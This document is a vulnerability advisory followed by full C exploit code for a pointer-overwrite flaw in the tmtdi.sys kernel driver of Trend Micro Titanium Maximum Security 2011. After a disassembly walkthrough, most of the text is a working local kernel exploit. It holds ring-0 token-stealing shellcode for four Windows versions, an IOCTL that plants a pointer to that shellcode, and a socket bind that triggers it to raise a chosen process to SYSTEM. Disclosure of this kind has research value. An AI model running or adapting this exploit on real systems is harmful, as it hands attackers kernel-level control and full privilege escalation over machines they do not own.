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/* 1.Description: The tmtdi.sys kernel driver distributed with Trend Micro Titanium Maximum Security 2011 contains a pointer overwrite vulnerability in the handling of IOCTL 0x220404. Exploitation of this issue allows an attacker to execute arbitrary code within the kernel. An attacker would need local access to a vulnerable computer to exploit this vulnerability. Affected application: Trend Micro Titanium Maximum Security 2011, up to date version 3.0.1303. Affected file: tmtdi.sys version 6.5.0.1234. 2.Vulnerability details: IoCtl handler of \\.\tmtdi device drivesr: .text:0001D3CC ; int __stdcall sub_1D3CC(PDEVICE_OBJECT DeviceObject, PIRP pIrp) .text:0001D3CC sub_1D3CC proc near ; DATA XREF: sub_1DD40+D0o .text:0001D3CC .text:0001D3CC var_4 = dword ptr -4 .text:0001D3CC DeviceObject= dword ptr8 .text:0001D3CC pIrp= dword ptr0Ch .text:0001D3CC .text:0001D3CC mov edi, edi .text:0001D3CE pushebp .text:0001D3CF mov ebp, esp .text:0001D3D1 pushecx .text:0001D3D2 mov eax, [ebp+DeviceObject] .text:0001D3D5 mov eax, [eax+28h] .text:0001D3D8 and [ebp+var_4], 0 .text:0001D3DC pushebx .text:0001D3DD mov ebx, [ebp+pIrp] .text:0001D3E0 pushesi .text:0001D3E1 mov esi, ds:MmIsAddressValid .text:0001D3E7 pushedi .text:0001D3E8 mov edi, [ebx+60h] .text:0001D3EB pushedi ; VirtualAddress .text:0001D3EC mov [ebp+pIrp], eax .text:0001D3EF callesi ; MmIsAddressValid .text:0001D3F1 testal, al .text:0001D3F3 jnz short loc_1D403 [..] .text:0001DAF3 mov eax, ecx .text:0001DAF5 sub eax, 220078h .text:0001DAFA jzloc_1DC89 .text:0001DB00 sub eax, 18h .text:0001DB03 jzloc_1DC51 .text:0001DB09 push4 .text:0001DB0B pop edi .text:0001DB0C sub eax, edi .text:0001DB0E jzloc_1DC30 .text:0001DB14 sub eax, 2Ch .text:0001DB17 jzloc_1DBF1 .text:0001DB1D sub eax, 14h .text:0001DB20 jzloc_1DBBD .text:0001DB26 sub eax, 330h .text:0001DB2B jzshort loc_1DB7B [..] .text:0001DB7B loc_1DB7B:; CODE XREF: sub_1D3CC+75Fj .text:0001DB7B testdword_2289C, 10000000h .text:0001DB85 mov edi, [ebx+0Ch] .text:0001DB88 jzshort loc_1DB95 .text:0001DB8A pushoffset aIoctrl_bind_cf ; "[IOCTRL_BIND_CFW]\n" .text:0001DB8F callDbgPrint .text:0001DB94 pop ecx .text:0001DB95 pushedi ; VirtualAddress .text:0001DB96 callesi ; MmIsAddressValid .text:0001DB98 testal, al .text:0001DB9A jzloc_1DD19 .text:0001DBA0 cmp [ebp+DeviceObject], 8 ; check for length .text:0001DBA4 jbloc_1DD19 .text:0001DBAA mov eax, [edi] ; eax - first DWORD from our buffer .text:0001DBAC mov dword_228B4, eax ; pointer overwrite This address contains value that interprets as function pointer. Function sub_10CD4 uses this value as function pointer. .text:00010CD4 sub_10CD4 proc near ; CODE XREF: sub_19234+480p .text:00010CD4 ; sub_197FC+1D5p ... .text:00010CD4 mov edi, edi .text:00010CD6 pushebp .text:00010CD7 mov ebp, esp .text:00010CD9 mov ecx, dword_228B4 ; copy to ecx .text:00010CDF xor eax, eax .text:00010CE1 testecx, ecx .text:00010CE3 jzshort loc_10CE8 ; is NULL pointer .text:00010CE5 pop ebp .text:00010CE6 jmp ecx; direct jump to our shellcode .text:00010CE8 ; --------------------------------------------------------------------------- .text:00010CE8 .text:00010CE8 loc_10CE8:; CODE XREF: sub_10CD4+Fj .text:00010CE8 pop ebp .text:00010CE9 retn4 .text:00010CE9 sub_10CD4 endp We could invoke sub_10CD4 function by calling function bind. Exploit code in exploit.c file (bellow). */ /* # Exploit Title: Trend Micro Titanium Maximum Security 2011 0day Local Kernel Exploit # Date: 2010-11-01 # Author: Nikita Tarakanov (CISS Research Team) # Software Link: http://us.trendmicro.com/us/products/personal/titanium-maximum-security/ # Version: up to date, version 3.0.1303, tmtdi.sys version 6.5.0.1234 # Tested on: Win XP SP3, Win Vista SP2, Win 7 # CVE : CVE-NO-MATCH # Status : Unpatched */ #include <stdio.h> #include "winsock2.h" #include <windows.h> #pragma comment(lib, "wininet.lib") #pragma comment(lib, "Ws2_32.lib") static unsigned char win2k3_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\xb0\x18\x02\x00\x00" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found*/ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%!*/ "\x8b\x89\xd8\x00\x00\x00" "\x89\x88\xd8\x00\x00\x00" "\x90"; static unsigned char winvista_ring0_shell[] = /* _ring0 */ "\x64\xa1\x24\x01\x00\x00" //"\x8b\x00" "\x8b\x70\x48" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x9c\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\xa4\x00\x00\x00" "\x2d\xa0\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found*/ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x9c\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\xa4\x00\x00\x00" "\x2d\xa0\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%!*/ "\x8b\x89\xe0\x00\x00\x00" "\x89\x88\xe0\x00\x00\x00" "\x90"; static unsigned char win7_ring0_shell[] = /* _ring0 */ "\x64\xa1\x24\x01\x00\x00" "\x8b\x70\x50" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\xb4\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\xbc\x00\x00\x00" "\x2d\xb8\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found*/ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\xb4\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\xbc\x00\x00\x00" "\x2d\xb8\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%!*/ "\x8b\x89\xf8\x00\x00\x00" "\x89\x88\xf8\x00\x00\x00" "\x90"; static unsigned char winxp_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\x70\x44" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found*/ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%!*/ "\x8b\x89\xc8\x00\x00\x00" "\x89\x88\xc8\x00\x00\x00" "\x90"; static unsigned char freeze[] = "\xeb\xfe"; DWORD WINAPI ResetPointer( LPVOID lpParam ) { HANDLE hDevice; DWORD *inbuff; DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len; DWORD interval = 500;//enough?! Sleep(interval); inbuff = (DWORD *)malloc(0x1000); if(!inbuff){ printf("malloc failed!\n"); return 0; } *inbuff = 0; hDevice = (HANDLE)lpParam; DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL); free(inbuff); return 0; } static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen) { DWORD dwVersion, dwMajorVersion, dwMinorVersion; dwVersion = GetVersion (); dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion))); dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion))); printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion); switch (dwMajorVersion) { case 5: switch (dwMinorVersion) { case 1: *zlen = sizeof winxp_ring0_shell - 1; *(PDWORD) &winxp_ring0_shell[55] = ppid; return (winxp_ring0_shell); case 2: *zlen = sizeof win2k3_ring0_shell - 1; *(PDWORD) &win2k3_ring0_shell[58] = ppid; return (win2k3_ring0_shell); default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } case 6: switch (dwMinorVersion) { case 0: *zlen = sizeof winvista_ring0_shell - 1; *(PDWORD) &winvista_ring0_shell[54] = ppid; return (winvista_ring0_shell); case 1: *zlen = sizeof win7_ring0_shell - 1; *(PDWORD) &win7_ring0_shell[54] = ppid; return (win7_ring0_shell); default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } return (NULL); } int main(int argc, char **argv) { HANDLE hDevice, hThread; DWORD *inbuff; DWORD ioctl = 0x220404, in = 0x10, out = 0x0C, len, zlen, ppid; LPVOID zpage, zbuf; struct sockaddr_in service; // Initialize Winsock WSADATA wsaData; SOCKET ListenSocket; int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); printf ("Trend Micro Titanium Maximum Security 2011 0day Local Kernel Exploit\n" "by: Nikita Tarakanov (CISS Research Team)\n"); if (iResult != NO_ERROR) printf("Error at WSAStartup()\n"); if (argc <= 1) { printf("Usage: %s <processid to elevate>\n", argv[0]); return 0; } ppid = atoi(argv[1]); zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (zpage == NULL) { printf("VirtualAlloc failed\n"); return 0; } printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000); memset(zpage, 0xCC, 0x1000); zbuf = fixup_ring0_shell(ppid, &zlen); memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen); memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1); if ( (hDevice = CreateFileA("\\\\.\\tmtdi", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL) ) != INVALID_HANDLE_VALUE ) { printf("Device succesfully opened!\n"); } else { printf("Error: Error opening device \n"); return 0; } inbuff = (DWORD *)malloc(0x1000); if(!inbuff){ printf("malloc failed!\n"); return 0; } *inbuff = zpage; DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, in, (LPVOID)inbuff, out, &len, NULL); free(inbuff); hThread = CreateThread(NULL, 0, ResetPointer, hDevice, 0, NULL); if(!hThread){ printf("CreateThread failed!\n"); } ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (ListenSocket == INVALID_SOCKET) { printf("Error at socket: %ld\n", WSAGetLastError()); WSACleanup(); return 0 ; } service.sin_family = AF_INET; service.sin_addr.s_addr = inet_addr("127.0.0.1"); service.sin_port = htons(27015); // Jump to shellcode if (bind( ListenSocket, (SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR) { printf("bind failed!\n"); closesocket(ListenSocket); return 0 ; } WSACleanup(); return 0; } |
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